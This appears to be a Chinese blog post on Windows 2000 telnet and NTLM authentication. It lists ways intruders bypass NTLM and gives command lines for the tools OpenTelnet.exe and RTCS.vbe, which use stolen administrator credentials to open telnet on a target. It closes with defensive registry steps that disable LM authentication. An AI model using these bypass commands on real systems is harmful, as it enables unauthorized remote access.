  TelnetPort:显示telnet服务器侦听telnet请求的端口。默认是:23。你也可以更改为其他端口。
  因此NTLM也是Windows 2000的一种重要安全策略,对于入侵者来说,NTLM就是横在面前的一座大山,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,当然道高一尺,魔高一丈,作为网络管理员,不是说有了NTLM保护,就可以高枕无忧了,对于网络高手或黑客来说,时刻在扑捉系统漏洞和管理员疏忽,要突破NTLM的封锁,常见的有以下几种方法:
  1、通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
  2、使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
  3、在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
  4、使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
  5、使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
  基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
  OpenTelnet.exe \\server username password NTLMAuthor telnetport
  OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
  cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
  cscript RTCS.vbe

NTLM - 禁用验证
Windows NT Servers Service Pack 4和后续的版本都支持三种不同的身份验证方法:LanManager (LM)身份验证;Windows NT(也叫NTLM)身份验证;Windows NT Version 2.0(也叫NTLM2)身份验证。
  默认的情况下,当一个客户尝试连接一台同时支持LM和NTLM身份验证方法的服务器时,LM身份验证会优先被使用。所以建议禁止LM身份验证方法。
  1.打开注册表编辑器;
  2.定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa;
  3.选择菜单“编辑”,“添加数值”;
  4.数值名称中输入:LMCompatibilityLevel,数值类型为:DWORD,单击确定;
  5.双击新建的数据,并根据具体情况设置以下值:
   0-发送LM和NTLM响应;
   1-发送LM和NTLM响应;
   2-仅发送NTLM响应;
   3-仅发送NTLMv2响应;(Windows 2000有效)
   4-仅发送NTLMv2响应,拒绝LM;(Windows 2000有效)
   5-仅发送NTLMv2响应,拒绝LM和NTLM;(Windows 2000有效)
  6.关闭注册表编辑器;
  7.重新启动机器。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值